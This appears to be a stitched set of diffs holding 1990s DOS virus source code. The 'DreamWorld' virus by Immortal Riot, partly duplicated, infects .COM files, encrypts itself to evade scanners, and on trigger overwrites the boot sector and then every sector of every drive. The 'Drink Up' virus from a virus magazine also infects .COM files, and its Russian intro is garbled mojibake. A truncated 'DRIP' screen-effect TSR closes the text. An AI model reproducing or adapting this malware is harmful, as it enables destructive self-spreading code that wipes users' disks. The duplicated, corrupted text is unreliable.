int 21h ;
|
||||
;
|
||||
Findfirst: ;
|
||||
mov ah, 4eh ; FindFirst file
|
||||
lea dx, [bp+masker] ; with the extension of 'COM'
|
||||
_4fh: ; When called ah=4fh (findnextfile)
|
||||
int 21h ;
|
||||
jnc open_file ; We found a file!
|
||||
; Then, open it!
|
||||
Chdir: ;
|
||||
mov ah,3bh ; We didn't find any files
|
||||
lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move
|
||||
int 21h ; to the ".." location in the tree and
|
||||
jc quit ; search for more files, if location doesn't
|
||||
jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll
|
||||
; search for the first file in the new dir.
|
||||
Open_file: ;
|
||||
mov ax, 3D02h ; Open the file in read/write mode
|
||||
lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh
|
||||
int 21h ;
|
||||
xchg ax, bx ; Faster/bigger than mov BX,AX
|
||||
;
|
||||
mov ax,5700h ; Take the file's time/date
|
||||
int 21h ; (ah=57h = get/set time/date)
|
||||
; (al=01h = get time/date)
|
||||
push cx ; Store time!
|
||||
push dx ; Store date!
|
||||
;
|
||||
mov cx, 3 ; Read first three bytes of the file
|
||||
lea dx, [bp+org3] ; to the buffer (org3)
|
||||
mov ah, 3fh ;
|
||||
int 21h ;
|
||||
; Check if already infected
|
||||
mov cx, word ptr [bp+ORG3+1];
|
||||
mov ax, word ptr [bp+DTA+1ah]
|
||||
add cx, end_of_virus - start1 + 3
|
||||
cmp ax, cx ;
|
||||
jz restore_time_date ; It's already infected!
|
||||
; No, it's not infected!
|
||||
sub ax, 3 ;
|
||||
mov word ptr [bp+writebuffer], ax
|
||||
;
|
||||
xor al, al ; Then, we'll move the file-poiter to
|
||||
call f_ptr ; the beginning of the file, and
|
||||
mov cx, 3 ; Write three bytes (our own jmp)
|
||||
lea dx, [bp+e9] ;
|
||||
mov ah, 40h ;
|
||||
int 21h ;
|
||||
;
|
||||
mov al, 2 ; Then, we'll move the file-pointer to
|
||||
call f_ptr ; end_of_file.
|
||||
;
|
||||
Get_Random: ;
|
||||
mov ah,2ch ; Darn, this little trick is really
|
||||
int 21h ; cool, b'cos we'll not get the same
|
||||
add dl, dh ; encryption-value on any infected file,
|
||||
jz get_random ; resulting in no bytes except the one used
|
||||
mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant!
|
||||
;
|
||||
call write_virus ; Now, write the virus!
|
||||
;
|
||||
Restore_time_date: ; Cover our tracks..
|
||||
pop dx ; Restore file date!
|
||||
pop cx ; Restore file time!
|
||||
; Notice the order "push cx/dx pop dx/cx!"
|
||||
mov ax,5701h ; ah=57h (get/set attribs),
|
||||
int 21h ; al=01h (set attribs)
|
||||
;
|
||||
Close_file: ;
|
||||
mov ah, 3eh ; Close the file,
|
||||
int 21h ; which now is infected!
|
||||
;
|
||||
mov ah, 4fh ; This little trick, is really
|
||||
jmp short _4fh ; really neat, I think..
|
||||
;
|
||||
Quit: ;
|
||||
lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the
|
||||
mov ah,3bh ; directory from where we were executed
|
||||
int 21h ;
|
||||
;
|
||||
Fix_it: ;
|
||||
mov dx, 80h ; Then, we'll set back the DTA to its
|
||||
; default value (note- this is NOT used
|
||||
; when the virus is running!)
|
||||
Set_dta: ;
|
||||
mov ah, 1ah ; Set the dta, used twice in this virus,
|
||||
int 21h ; one when we started, and now, when we're
|
||||
; ready!
|
||||
Exit: ; Then, we'll return and execute
|
||||
retn ; the "real" program!
|
||||
;
|
||||
F_ptr: ; Since we moved the file-pointer to
|
||||
mov ah, 42h ; end of file twice, this saves some
|
||||
xor cx, cx ; bytes!
|
||||
cwd ; Clear dx (smallest variant!)
|
||||
int 21h ;
|
||||
retn ; Return to caller!
|
||||
;
|
||||
V_name db '[DreamWorld?]','$' ; It's the name for the virus
|
||||
dream db '"I have a dream..."'; Me and Martin Luther King!
|
||||
msg db 'Copy me, so I can travel around the globe!'
|
||||
db 'Spreading my message, manipulating your'
|
||||
db 'thoughts, your mind, and your actions'
|
||||
db '"Love, Peace, Empathy!"'
|
||||
copyr db "(c) 93/94 Immortal Riot - All rights reserved!"
|
||||
|
||||
Dot_dot db '..',0
|
||||
Masker db '*.com',0
|
||||
Org3 db 0cdh, 20h, 0 ; original three bytes saved here
|
||||
E9 db 0e9h ; the jmp
|
||||
End_of_virus equ $
|
||||
Writebuffer dw ? ; Scratch area for the JMP
|
||||
Dta db 42 dup (?) ; 42 bytes of chunk in memory, but
|
||||
; not in the files!
|
||||
Virus_end:
|
||||
end start
|
|
@ -0,0 +1,260 @@
|
|||
; -DreamWorld?-
|
||||
; "Created by Immortal Riot's destructive development team"
|
||||
; (c) 93/94 Immortal Riot - All rights reserved
|
||||
;
|
||||
; Dedication:
|
||||
; "If Metal Militia was dead, this virus should be deadicated to him"
|
||||
;
|
||||
; Notes:
|
||||
; This was 'written' in one day. It sucks, but not as good as my..
|
||||
; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend"
|
||||
; think she got a boy-friend? Huh? She's nuts!
|
||||
;
|
||||
; Notes_II:
|
||||
; F-Prot, Scan, TBAV, FindViru can't find shits of this code.
|
||||
;
|
||||
; Disclaimer:
|
||||
; Well, I just gotta have one, you know. So, I hereby claim this:
|
||||
; "I take no responsability for any damage, either direct or implied,
|
||||
; caused by the usage of the virus source code or of the resulting code
|
||||
; after assembly. No warrant is made about the product functionability
|
||||
; or quality. The code was written in pure educational purposes ONLY."
|
||||
;
|
||||
; Truth:
|
||||
; Well, this was written only for malicious intends. I havn't learned
|
||||
; a shit by writing this shit. Now you know that.. Well, I just had
|
||||
; some hours spare time, and a huge appetite for destruction. That's why
|
||||
; this virus was created. No more, no less. Ciao! /The Unforgiven
|
||||
|
||||
.model tiny ;
|
||||
.code ;
|
||||
org 100h ;
|
||||
;
|
||||
Start: ;
|
||||
db 0e9h ; Jump to start1 and mark this file
|
||||
DW 0 ; as virus-infected!
|
||||
;
|
||||
Start1: ;
|
||||
xchg ax,ax ; It's simply two NOPs
|
||||
nop ;
|
||||
;
|
||||
mov ax,0fa01h ; Let's un-install MSAV junk program
|
||||
mov dx,5945h ; from memory for a cost of 8 bytes :)
|
||||
int 16h ;
|
||||
;
|
||||
call get_delta ; Get the delta offset
|
||||
get_delta: ;
|
||||
pop bp ;
|
||||
sub bp, offset get_delta ;
|
||||
;
|
||||
Call_en_de_crypt: ; Well, just using alternitive code
|
||||
mov ax,bp ; for a "call en_de_crypt", for satisfying
|
||||
add ax,011dh ; my very sick brain..
|
||||
push ax ;
|
||||
jmp short en_de_crypt ;
|
||||
jmp short real_code_start ; Sneee!
|
||||
;
|
||||
crypt_val dw 0 ; We get a random value for each encryption!
|
||||
;
|
||||
Write_virus: ;
|
||||
call en_de_crypt ; Encrypt virus before we write!
|
||||
mov ah,65d ; 65d - 1d = 40HEX!
|
||||
sub ah,1d ; ^^^ How meaningless!
|
||||
mov cx, end_of_virus - start1 ; CX = bytes to write
|
||||
lea dx, [bp+start1] ; ; DX = Where to write from (100h)
|
||||
int 21h ; ; Duh!
|
||||
;
|
||||
call en_de_crypt ; Decrypt virus again
|
||||
ret ;
|
||||
;
|
||||
En_de_crypt: ; Heuristic, Heuristic, eat this!
|
||||
;
|
||||
mov ax,word ptr [bp+crypt_val]
|
||||
lea si,[bp+encrypt_start] ;
|
||||
mov cx,(end_of_virus-start1+1)/2
|
||||
;
|
||||
Xor_loop: ;
|
||||
xor word ptr [si],ax ; Encrypting two bytes/loop, until
|
||||
add si,2 ; all the code between encryption_start
|
||||
loop xor_loop ; to end_of_virus is encrypted!
|
||||
ret ;
|
||||
;
|
||||
Encrypt_start: ; All code here and below is encrypted,
|
||||
Real_code_start: ; making it hard for heuristic scanners!
|
||||
;
|
||||
mov ah,2ah ; First, we check for what date it is
|
||||
int 21h ;
|
||||
cmp dl,31 ; Is it the 31st any month?
|
||||
jne not_now ; Nop!
|
||||
;
|
||||
Cruel: ;
|
||||
mov ah,09h ; It's the 31st any month!
|
||||
lea dx,[bp+v_name] ; or the 1/100 of a second = 1
|
||||
int 21h ; we'll print a message!
|
||||
;
|
||||
mov al,2h ; and after that, we'll brutally
|
||||
mov cx,1 ; overwrite the first-sector on
|
||||
lea bx,v_name ; drive C: with our virus name!
|
||||
cwd ;
|
||||
int 26h ;
|
||||
;
|
||||
Not_now: ; It wasn't the 31:st, so,
|
||||
mov ah,2ch ; we'll take a random number
|
||||
int 21h ; from a 1/100 of a second and if
|
||||
cmp dl,1 ; the value is 1, we'll trash the
|
||||
je cruel ; boot-sector on drive C: and if
|
||||
cmp dl,98 ; the value is 99 we will brutally
|
||||
jbe no_harm ; destroy all sectors on all drives.
|
||||
;
|
||||
Trash_sucker: ;
|
||||
mov al,2h ; We'll start on drive C: (2h)
|
||||
Drive: ; We'll overwrite one sector/run!
|
||||
mov cx,1 ; with our virus name, and we'll
|
||||
lea bx,v_name ; write from sector one, with the
|
||||
xor dx,dx ; very nice interrupt 26h (sector write!)
|
||||
Next_Sector: ; and after we've written one sector we'll
|
||||
int 26h ; jump to the next sector and overwrite
|
||||
inc dx ; that too, and loop until all sectors are
|
||||
jnc next_sector ; being overwritten, then, we'll jump to
|
||||
inc al ; the next drive, and overwrite all sectors
|
||||
jmp short drive ; there as well. And the next drive, and
|
||||
; the next.. :-).
|
||||
No_Harm: ;
|
||||
lea dx,[bp+offset dta] ; Set the DTA to variable called DTA
|
||||
call set_dta ; (DTA=42 byte chunk of memory!)
|
||||
;
|
||||
Buf_Xfer: ; Restore the beginning..
|
||||
lea si, [bp+offset org3] ;
|
||||
mov di, 100h ; DI=100h
|
||||
push di ; Store di with our new value.
|
||||
movsw ; Move string by word (the first two bytes!)
|
||||
movsb ; Move string by byte (the third byte in the
|
||||
; buffer), b'cos our org3 buffer is 3 bytes!
|
||||
;
|
||||
Get_drive: ;
|
||||
mov ah,19h ; We'll get the drive from were we're executed
|
||||
int 21h ; from, and if an infected file is being run
|
||||
cmp al,2 ; from A: or B: we'll not search for more files
|
||||
jae Get_dir ; to infect b'cos we havn't got a int24 handler.
|
||||
ret ; Let the infected files run normally!
|
||||
;
|
||||
Get_dir: ; Get directory from where we're being executed
|
||||
mov ah,47h ; from. Must do that b'cos we're using the
|
||||
sub dl,dl ; dot-dot method to travel around!
|
||||
lea si,[bp+end_of_virus+2ch];
|
||||
int 21h ;
|
||||
;
|
||||
Findfirst: ;
|
||||
mov ah, 4eh ; FindFirst file
|
||||
lea dx, [bp+masker] ; with the extension of 'COM'
|
||||
_4fh: ; When called ah=4fh (findnextfile)
|
||||
int 21h ;
|
||||
jnc open_file ; We found a file!
|
||||
; Then, open it!
|
||||
Chdir: ;
|
||||
mov ah,3bh ; We didn't find any files
|
||||
lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move
|
||||
int 21h ; to the ".." location in the tree and
|
||||
jc quit ; search for more files, if location doesn't
|
||||
jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll
|
||||
; search for the first file in the new dir.
|
||||
Open_file: ;
|
||||
mov ax, 3D02h ; Open the file in read/write mode
|
||||
lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh
|
||||
int 21h ;
|
||||
xchg ax, bx ; Faster/bigger than mov BX,AX
|
||||
;
|
||||
mov ax,5700h ; Take the file's time/date
|
||||
int 21h ; (ah=57h = get/set time/date)
|
||||
; (al=01h = get time/date)
|
||||
push cx ; Store time!
|
||||
push dx ; Store date!
|
||||
;
|
||||
mov cx, 3 ; Read first three bytes of the file
|
||||
lea dx, [bp+org3] ; to the buffer (org3)
|
||||
mov ah, 3fh ;
|
||||
int 21h ;
|
||||
; Check if already infected
|
||||
mov cx, word ptr [bp+ORG3+1];
|
||||
mov ax, word ptr [bp+DTA+1ah]
|
||||
add cx, end_of_virus - start1 + 3
|
||||
cmp ax, cx ;
|
||||
jz restore_time_date ; It's already infected!
|
||||
; No, it's not infected!
|
||||
sub ax, 3 ;
|
||||
mov word ptr [bp+writebuffer], ax
|
||||
;
|
||||
xor al, al ; Then, we'll move the file-poiter to
|
||||
call f_ptr ; the beginning of the file, and
|
||||
mov cx, 3 ; Write three bytes (our own jmp)
|
||||
lea dx, [bp+e9] ;
|
||||
mov ah, 40h ;
|
||||
int 21h ;
|
||||
;
|
||||
mov al, 2 ; Then, we'll move the file-pointer to
|
||||
call f_ptr ; end_of_file.
|
||||
;
|
||||
Get_Random: ;
|
||||
mov ah,2ch ; Darn, this little trick is really
|
||||
int 21h ; cool, b'cos we'll not get the same
|
||||
add dl, dh ; encryption-value on any infected file,
|
||||
jz get_random ; resulting in no bytes except the one used
|
||||
mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant!
|
||||
;
|
||||
call write_virus ; Now, write the virus!
|
||||
;
|
||||
Restore_time_date: ; Cover our tracks..
|
||||
pop dx ; Restore file date!
|
||||
pop cx ; Restore file time!
|
||||
; Notice the order "push cx/dx pop dx/cx!"
|
||||
mov ax,5701h ; ah=57h (get/set attribs),
|
||||
int 21h ; al=01h (set attribs)
|
||||
;
|
||||
Close_file: ;
|
||||
mov ah, 3eh ; Close the file,
|
||||
int 21h ; which now is infected!
|
||||
;
|
||||
mov ah, 4fh ; This little trick, is really
|
||||
jmp short _4fh ; really neat, I think..
|
||||
;
|
||||
Quit: ;
|
||||
lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the
|
||||
mov ah,3bh ; directory from where we were executed
|
||||
int 21h ;
|
||||
;
|
||||
Fix_it: ;
|
||||
mov dx, 80h ; Then, we'll set back the DTA to its
|
||||
; default value (note- this is NOT used
|
||||
; when the virus is running!)
|
||||
Set_dta: ;
|
||||
mov ah, 1ah ; Set the dta, used twice in this virus,
|
||||
int 21h ; one when we started, and now, when we're
|
||||
; ready!
|
||||
Exit: ; Then, we'll return and execute
|
||||
retn ; the "real" program!
|
||||
;
|
||||
F_ptr: ; Since we moved the file-pointer to
|
||||
mov ah, 42h ; end of file twice, this saves some
|
||||
xor cx, cx ; bytes!
|
||||
cwd ; Clear dx (smallest variant!)
|
||||
int 21h ;
|
||||
retn ; Return to caller!
|
||||
;
|
||||
V_name db '[DreamWorld?]','$' ; It's the name for the virus
|
||||
dream db '"I have a dream..."'; Me and Martin Luther King!
|
||||
msg db 'Copy me, so I can travel around the globe!'
|
||||
db 'Spreading my message, manipulating your'
|
||||
db 'thoughts, your mind, and your actions'
|
||||
db '"Love, Peace, Empathy!"'
|
||||
copyr db "(c) 93/94 Immortal Riot - All rights reserved!"
|
||||
|
||||
Dot_dot db '..',0
|
||||
Masker db '*.com',0
|
||||
Org3 db 0cdh, 20h, 0 ; original three bytes saved here
|
||||
E9 db 0e9h ; the jmp
|
||||
End_of_virus equ $
|
||||
Writebuffer dw ? ; Scratch area for the JMP
|
||||
Dta db 42 dup (?) ; 42 bytes of chunk in memory, but
|
||||
; not in the files!
|
||||
Virus_end:
|
||||
end start
|
|
@ -0,0 +1,280 @@
|
|||
comment {
|
||||
|
||||
[Death Virii Crew] Presents
|
||||
CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
|
||||
|
||||
|
||||
Drink Up
|
||||
|
||||
|
||||
<EFBFBD>â®â ¢¨àãá ¡ë« ¯¨á ¬®© ¢ á®áâ®ï¨¨ ªà ©¥© ¥â१¢®á⨠¨ ¯®á¥¬ã
|
||||
§¢ ¨¥ ¯®«ã稫 ᮮ⢥âáâ¢ãî饥. —â® ¬¥ï ¡®«ìè¥ ¢á¥£® 㤨¢¨«®
|
||||
á«¥¤ãî騩 ¤¥ì, â ª íâ® â®, çâ® ¡®«ìèãî ç áâì ¢¨àãá § ¨¬ ¥â ¯à®¢¥àª
|
||||
¤®á⮢¥à®á⨠¤¯¨á¨, ¢ë¢®¤ å à ªâ¥à®© áâà®çª¨, ¯à¨ ¥¥ ¥¤®á⮢¥à®áâ¨,
|
||||
¢ë¢®¤ á ¬®© ¯®¤¯¨á¨ ¨ ¯à®¢¥àª ª®£¤ ¥¥ ᮡá⢥® ¢ë¢®¤¨âì ;)))
|
||||
‚¨¤ âì ã ®ç¥ì ¬¥ å®â¥«®áì ¯®§¤à ¢¨âì த á ¯à §¤¨ª ¬¨ :))))
|
||||
€ ¢¨àì ¯®«ë© ¯à¨¬¨â¨¢, ¥é¥ â®â ¥à¥§¨¤¥â ¨§ ⥪ã饩 ¤¨à¥ªâ®à¨¨. ‡ â®
|
||||
ª ª®¬ ᬥ !!! :)) Ÿ ¤ ¦¥ ¯®ç⨠¥ § ¡ë« <EFBFBD> ¤¨® 86 <EFBFBD>Š ;))) •®âï ¥â, £®î
|
||||
§ ¡ë«. ã à §¢¥ ¬®¦® â ª ¯¨á âì ? :) Š®à®ç¥ ®á®¢®© ¯à¨ª®« ¢ ⮬, çâ®
|
||||
¨á¯®«ïâìáï ¡ã¤¥â ᥩ ¢¨àì ¨áª«îç¨â¥«ì® nec' å. € ¥â ¨ ¯®áë« ¥â
|
||||
ªã¤ ¯®«®¦¥®. ¢ë室 ;). € ¨ ¥é¥, ¢§£«ï㢠hex-¤ ¬¯ ᥣ® çã¤
|
||||
⮫쪮 ¥®à¬ «ìë© ¯®¤ã¬ ¥â, çâ® íâ® ¬®¦¥â ¡ëâì ª®¤®¬. ;)))))
|
||||
<EFBFBD>à §¤ã©â¥ å®à®è®. <EFBFBD>¥©â¥ ¡®«ìè¥. <EFBFBD>¨è¨â¥ «ãçè¥. ˆ ¢§£«ï¨â¥ ¢®ªà㣠å®âì
|
||||
çãâ®çªã ¢¥á¥«¥¥ ;)))))
|
||||
{
|
||||
;===========================================================================
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
mov cx,3
|
||||
|
||||
; check nec20/30
|
||||
db 0f3h,26h,0ach ; rep es: lodsb
|
||||
or cx,cx
|
||||
jnz fuck
|
||||
|
||||
include asm_8080.inc
|
||||
include nec_20_u.inc
|
||||
|
||||
mov ax,2577h
|
||||
lea dx,entry
|
||||
int 21h
|
||||
|
||||
mov ax,2588h
|
||||
lea dx,entry21
|
||||
int 21h
|
||||
|
||||
cli
|
||||
brkem 77h
|
||||
sti
|
||||
; int 3
|
||||
push bx
|
||||
|
||||
xchg dx,si ; si <- de
|
||||
xchg di,bx ; di <- hl
|
||||
cld
|
||||
|
||||
mov ax,0f0h
|
||||
push ax
|
||||
|
||||
fuck:
|
||||
ret
|
||||
|
||||
entry:
|
||||
|
||||
_lxi_sp 0f000h
|
||||
|
||||
; check my mess
|
||||
|
||||
_lxi_b mess
|
||||
_mvi_h len_mess
|
||||
_lxi_d 0
|
||||
|
||||
@check:
|
||||
_ldax_b
|
||||
|
||||
_mov_l_a
|
||||
|
||||
_add_d
|
||||
_mov_d_a
|
||||
|
||||
_mov_a_l
|
||||
_add_e
|
||||
_rlc
|
||||
_mov_e_a
|
||||
|
||||
_inx_b
|
||||
|
||||
_dcr_h
|
||||
_jnz @check
|
||||
; retem
|
||||
_mvi_a 0A8h
|
||||
_cmp_d
|
||||
_jnz _lmd
|
||||
|
||||
_mvi_a 54h
|
||||
_cmp_e
|
||||
_jz _ok
|
||||
|
||||
_lmd:
|
||||
; ----- LMD
|
||||
|
||||
_lxi_b buf+3
|
||||
|
||||
_mvi_a '$'
|
||||
_stax_b
|
||||
_dcx_b
|
||||
|
||||
_mvi_a 'D'
|
||||
_stax_b
|
||||
_dcx_b
|
||||
|
||||
_mvi_a 'M'
|
||||
_stax_b
|
||||
_dcx_b
|
||||
|
||||
_mvi_a 'L'
|
||||
_stax_b
|
||||
|
||||
_sux:
|
||||
int21h 900h,0,buf
|
||||
_jmp _sux
|
||||
|
||||
; ----- LMD
|
||||
|
||||
; check my mess
|
||||
|
||||
_ok:
|
||||
|
||||
_lhld len_of_infected_program
|
||||
_push_h
|
||||
|
||||
;----------------------- 1 -------------- save dta ---
|
||||
; b -> d
|
||||
_lxi_b 80h
|
||||
_lxi_d buf1
|
||||
_mvi_h 100
|
||||
@work:
|
||||
_ldax_b
|
||||
_stax_d
|
||||
_inx_b
|
||||
_inx_d
|
||||
_dcr_h
|
||||
_jnz @work
|
||||
;----------------------- 2 -------------- movsb dta 2 buf ---
|
||||
|
||||
int21h 4e00h,20h,fmask
|
||||
find:
|
||||
_jc quit
|
||||
|
||||
|
||||
_lxi_h 9ah+1 ; len (hi byte)
|
||||
_mov_a_m
|
||||
_cpi 0EEh ; > ~61000
|
||||
_jnc next
|
||||
_cpi 3 ; < ~700
|
||||
_jc next
|
||||
|
||||
int21h 3d02h,0,9eh
|
||||
_jc next
|
||||
|
||||
_xchg ; hl <-> de : xchg aka xchg bx,dx
|
||||
|
||||
int21h 3f00h,len,buf
|
||||
_jc next
|
||||
|
||||
_lxi_b buf
|
||||
_ldax_b
|
||||
_cpi 0b9h
|
||||
_jz next
|
||||
_cpi 'Z'
|
||||
_jz next
|
||||
_cpi 'M'
|
||||
_jnz @1
|
||||
|
||||
next:
|
||||
int21h 3e00h,0,0
|
||||
int21h 4f00h,0,0
|
||||
_jmp find
|
||||
|
||||
len_of_infected_program dw len
|
||||
|
||||
@1:
|
||||
int21h 4202h,0,0
|
||||
_jc next
|
||||
|
||||
; de - len
|
||||
_xchg ; de(dx) <-> hl(bx)
|
||||
_shld len_of_infected_program
|
||||
_xchg ; de(dx) <-> hl(bx)
|
||||
|
||||
int21h 4000h,len,buf
|
||||
_jc next
|
||||
|
||||
int21h 4200h,0,0,
|
||||
_jc next
|
||||
int21h 4000h,len,100h
|
||||
_jc next
|
||||
|
||||
quit:
|
||||
|
||||
;++++++++++++++++++++++++++++++++
|
||||
int21h 2a00h,0,0
|
||||
|
||||
_mvi_a 0 ; sunday
|
||||
_cmp_e
|
||||
_jnz @quit2
|
||||
|
||||
int21h 900h,0,mess
|
||||
|
||||
@quit2:
|
||||
;++++++++++++++++++++++++++++++++
|
||||
|
||||
;----restore dta ------
|
||||
|
||||
_lxi_b buf1
|
||||
_lxi_d 80h
|
||||
_mvi_h 100
|
||||
|
||||
@work2:
|
||||
_ldax_b
|
||||
_stax_d
|
||||
_inx_b
|
||||
_inx_d
|
||||
|
||||
_dcr_h
|
||||
_jnz @work2
|
||||
|
||||
;-------------------------
|
||||
|
||||
_lxi_h 0a4f3h
|
||||
_shld 0f0h
|
||||
_lxi_h 0c390h
|
||||
_shld 0f2h
|
||||
|
||||
|
||||
perl:
|
||||
|
||||
_pop_h
|
||||
_lxi_d 100h
|
||||
_dad_d
|
||||
_xchg ; hl(bx)->di = 100h ; de(dx)->si = infected+100h
|
||||
_lxi_b len ; bc(cx) = len
|
||||
|
||||
retem
|
||||
|
||||
entry21:
|
||||
cli
|
||||
push si
|
||||
mov si,sp
|
||||
mov sp,bp
|
||||
pop dx cx ax
|
||||
mov bp,sp
|
||||
mov sp,si
|
||||
pop si
|
||||
sti
|
||||
int 21h
|
||||
xchg ax,dx
|
||||
pop ax ds
|
||||
pop cx ; skip old flags
|
||||
pushf
|
||||
pop cx
|
||||
and cx,7fffh ; clear md flag
|
||||
push cx
|
||||
push ds ax
|
||||
iret
|
||||
|
||||
fmask db '*.com',0
|
||||
mess db '[Drink Up] by Reminder',0dh,0ah
|
||||
db 'Greetings: SGWW, DVC, FotD, SOS group, TAVC, CiD',0dh,0ah,'$'
|
||||
len_mess equ $-mess
|
||||
buf equ 0f000h
|
||||
buf1 equ 0fffeh-400
|
||||
len equ $-start
|
||||
ret
|
||||
end start
|
||||
;===========================================================================
|
||||
|
||||
(c) by Reminder [DVC]
|
||||
|
|
@ -0,0 +1,203 @@
|
|||
TITLE DRIP 5-26-87 [4-21-88]
|
||||
|
||||
;Goes TSR, activate/toggle with Scroll Lock key.
|
||||
;Characters randomly drip down/off the screen
|
||||
|
||||
LF EQU 0AH
|
||||
CR EQU 0DH
|
||||
;
|
||||
|
||||
Cseg SEGMENT
|
||||
ASSUME DS:Cseg, SS:Cseg ,CS:Cseg ,ES:Cseg
|
||||
ORG 100H
|
||||
|
||||
|
||||
Drip proc near
|
||||
JMP Start
|
||||
|
||||
int8Vec dd 0 ;save old Int 8 vector
|
||||
saveDI dw 0
|
||||
saveSI dw 0
|
||||
|
||||
video dw 0B000H ;default mono screen memory
|
||||
|
||||
wcntr_13A dw 40H ;counter
|
||||
byte_13C DB 0FFH
|
||||
bflag_13D DB 0
|
||||
bcntr_13E DB 0
|
||||
bflag_13F DB 0
|
||||
bcntr_140 DB 0
|
||||
word_2BE dw 0
|
||||
Drip endp
|
||||
|
||||
|
||||
NewInt8 proc far
|
||||
ASSUME DS:Nothing
|
||||
|
||||
PUSHF ;save user's flags
|
||||
PUSH AX ;and his Int 8 request
|
||||
MOV AH,2 ;get shift status
|
||||
INT 16H
|
||||
AND AL,10H ;mask for Scroll Lock key
|
||||
JZ Continue_Int8 ; continue to Int 8
|
||||
CMP CS:bcntr_13E,0 ;counter zeroed?
|
||||
JZ L01A0 ; yep, time to act
|
||||
DEC CS:bcntr_13E ;decr counter
|
||||
JMP SHORT Continue_Int8
|
||||
|
||||
L01A0: CMP CS:bflag_13D,0 ;flag set?
|
||||
JNZ Continue_Int8 ; yep, just continue to Int 8
|
||||
JMP SHORT L01B2 ;time to act
|
||||
|
||||
Continue_Int8:
|
||||
POP AX ;restore user's Int 8 svc
|
||||
POPF ;restore user's flags
|
||||
JMP CS:int8Vec ;jump to old Int 8
|
||||
|
||||
L01B2: PUSHF ;save flags
|
||||
CALL CS:int8Vec ;call old Int 8
|
||||
PUSH ES ;save all his regs
|
||||
PUSH DS
|
||||
PUSH DX
|
||||
PUSH CX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
mov ax,CS
|
||||
mov DS,ax
|
||||
ASSUME DS:Cseg
|
||||
|
||||
MOV AX,video
|
||||
MOV ES,AX
|
||||
ASSUME ES:Nothing
|
||||
|
||||
cmp bflag_13F,0 ;flag clear?
|
||||
JZ L01D9 ; yep
|
||||
MOV DI,saveDI ;get our screen pointers
|
||||
MOV SI,saveSI
|
||||
STI ;enable ints
|
||||
JMP SHORT MoveChar ;go to work
|
||||
|
||||
L01D9: MOV bflag_13D,0FFH ;set flag
|
||||
STI ;enable interrupts
|
||||
MOV bcntr_140,64H ;refresh counter
|
||||
Lup1E4: CMP bcntr_140,0 ;zeroed out?
|
||||
JNZ L01EE ; nope
|
||||
JMP Pop_Iret ; return
|
||||
|
||||
L01EE: DEC bcntr_140 ;count down
|
||||
CALL L02AC
|
||||
AND AX,0FFEH
|
||||
MOV SI,AX
|
||||
MOV AL,ES:[SI]
|
||||
CMP AL,20H ;just a space?
|
||||
JZ Lup1E4 ; yep, try again
|
||||
or al,al ;just a zero?
|
||||
JZ Lup1E4 ; yep, try again
|
||||
CMP SI,0FA0H ;screen bottom?
|
||||
JNB Lup1E4 ; not yet, try again
|
||||
MOV DI,SI ;point to new char location
|
||||
ADD DI,0A0H ;move this far each time (1 line)
|
||||
CMP DI,0FA0H ;screen bottom?
|
||||
JNB L025B ;not yet, continue
|
||||
MOV AL,ES:[DI] ;get char at new location
|
||||
CMP AL,20H ;just a space?
|
||||
JZ Save_Iret ;yep, save screen ptrs, Iret
|
||||
or al,al ;just a zero?
|
||||
JNZ Lup1E4 ; yep, continue
|
||||
Save_Iret:
|
||||
MOV saveDI,DI ;save screen pointers
|
||||
MOV saveSI,SI
|
||||
MOV bflag_13F,0FFH ;reset flag
|
||||
JMP SHORT Pop_Iret ;return
|
||||
|
||||
MoveChar:
|
||||
MOV bflag_13F,0 ;turn flag off
|
||||
MOV AL,ES:[SI] ;snarf screen char
|
||||
MOV ES:[DI],AL ;move it here
|
||||
MOV BYTE PTR ES:[SI],20H ;blank out old char
|
||||
MOV SI,DI
|
||||
ADD DI,0A0H
|
||||
CMP DI,0FA0H ;screen bottom?
|
||||
JNB L025B ; not yet
|
||||
MOV AL,ES:[DI] ;get char
|
||||
CMP AL,20H ;just a space?
|
||||
JZ Save_Iret ; yep, save ptrs, Iret
|
||||
or al,al ; a 0?
|
||||
JZ Save_Iret ; yep, save ptrs, Iret
|
||||
JMP SHORT L025F
|
||||
|
||||
L025B: MOV BYTE PTR ES:[SI],20H ;stuff space on screen
|
||||
L025F: DEC wcntr_13A ;decrement counter
|
||||
JNZ L026F
|
||||
SHR byte_13C,1
|
||||
MOV wcntr_13A,40H ;refresh counter
|
||||
L026F: CALL L02AC
|
||||
AND AL,byte_13C
|
||||
MOV bcntr_13E,AL
|
||||
Pop_Iret:
|
||||
POP SI
|
||||
POP DI
|
||||
POP CX
|
||||
POP DX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POPF
|
||||
MOV CS:bflag_13D,0 ;clear flag
|
||||
IRET
|
||||
NewInt8 endp
|
||||
|
||||
L02AC proc near
|
||||
MOV AX,word_2BE
|
||||
PUSH AX
|
||||
AND AH,0B4H
|
||||
POP AX
|
||||
JPE L02B7
|
||||
STC
|
||||
L02B7: RCL AX,1
|
||||
MOV word_2BE,AX
|
||||
RET
|
||||
L02AC endp
|
||||
|
||||
|
||||
Start proc near
|
||||
MOV ax,3508H ;get Int8 vector
|
||||
INT 21H
|
||||
mov word ptr int8Vec,bx ;save ofs
|
||||
mov word ptr int8Vec+2,ES ;save seg
|
||||
|
||||
MOV AH,2CH ;get DOS system time
|
||||
INT 21H
|
||||
MOV word_2BE,DX ;save seconds, deciseconds
|
||||
MOV bcntr_13E,0FFH ;refresh counter
|
||||
MOV AH,0FH ;get current video mode
|
||||
INT 10H
|
||||
CMP AL,6 ;?
|
||||
JZ Use_Mono ; yep
|
||||
CMP AL,7 ;mono?
|
||||
JZ Use_Mono ;yep
|
||||
MOV video,0B800H ;use color screen
|
||||
|
||||
Use_Mono:
|
||||
MOV DX,OFFSET NewInt8 ;DS:dx = our service
|
||||
